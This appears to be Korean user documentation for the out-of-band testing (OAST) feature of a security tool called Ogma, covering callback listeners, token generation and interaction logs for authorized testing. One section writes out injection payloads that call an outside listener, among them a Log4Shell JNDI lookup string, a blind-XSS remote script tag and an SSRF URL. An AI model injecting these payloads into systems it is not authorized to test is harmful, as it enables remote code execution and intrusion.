OAST
OAST(Out-of-Band Application Security Testing)는 눈에 보이는 응답을 만들지 않는 취약점을 탐지합니다. 대신 대상이 테스터가 제어하는 리스너로 외부 연결을 시도하는 것을 확인하여 문제를 입증합니다.
작동 방식
Ogma는 여러 프로토콜의 로컬 리스너를 실행합니다. 대상 애플리케이션이 리스너에 접속하면 상호작용이 출발지 IP, 타임스탬프, 수신 데이터, 주입한 토큰과 함께 기록됩니다.
리스너 프로토콜
| 프로토콜 | 기본 포트 | 활용 |
|---|---|---|
| HTTP | 설정 가능 | SSRF, 블라인드 XSS, webhook |
| HTTPS | 설정 가능 | TLS를 통한 SSRF |
| DNS | 설정 가능 | 블라인드 인젝션, XXE, log4shell |
| SMTP | 설정 가능 | 이메일 헤더 인젝션, 메일 서비스에 대한 SSRF |
OAST 설정 패널에서 리스너 포트와 생성되는 토큰에 사용할 도메인 이름을 설정합니다.
콜백 토큰 생성
- 유틸리티 > OAST를 엽니다.
- + 새로 만들기를 클릭한 뒤 생성을 클릭합니다. 각 테스트의 토큰은 고유합니다.
- 토큰을 복사합니다. 토큰에는 리스너 도메인과 고유 식별자가 포함되어 있어 상호작용을 특정 테스트와 연결할 수 있습니다.
토큰 형식 예: [unique-id].[your-oast-domain]
페이로드에서 토큰 사용
애플리케이션이 외부 연결을 시도할 수 있는 필드에 콜백 토큰을 주입합니다.
- SSRF: HTTP/HTTPS 토큰을 대상 URL로 사용합니다.
https://[token]/ - XXE: DOCTYPE이나 외부 엔터티 URL에서 토큰을 참조합니다.
- Log4Shell: 헤더에 삽입합니다.
${jndi:ldap://[token]/a} - 블라인드 XSS: 스크립트의 src로 주입합니다.
<script src="https://[token]/x.js"></script> - SMTP 인젝션: 이메일 헤더의 목적지 주소나 URL로 사용합니다.
상호작용 로그
상호작용 패널에는 수신한 모든 콜백이 표시됩니다.
| 열 | 설명 |
|---|---|
| 시간 | 상호작용을 수신한 시각 |
| 프로토콜 | HTTP, HTTPS, DNS 또는 SMTP |
| 출발지 IP | 연결한 IP 주소 |
| 토큰 | 접속에 사용된 토큰 |
| 데이터 | 요청 경로, DNS 질의 이름 또는 SMTP 데이터 |
행을 클릭하면 해당하는 경우 요청 헤더와 본문을 포함한 전체 상호작용 세부 정보를 볼 수 있습니다.
상호작용과 테스트 연결
각 토큰이 고유하므로 서로 다른 매개변수나 요청에 서로 다른 토큰을 주입하여, 어느 주입 지점이 콜백을 유발했는지 정확히 확인할 수 있습니다.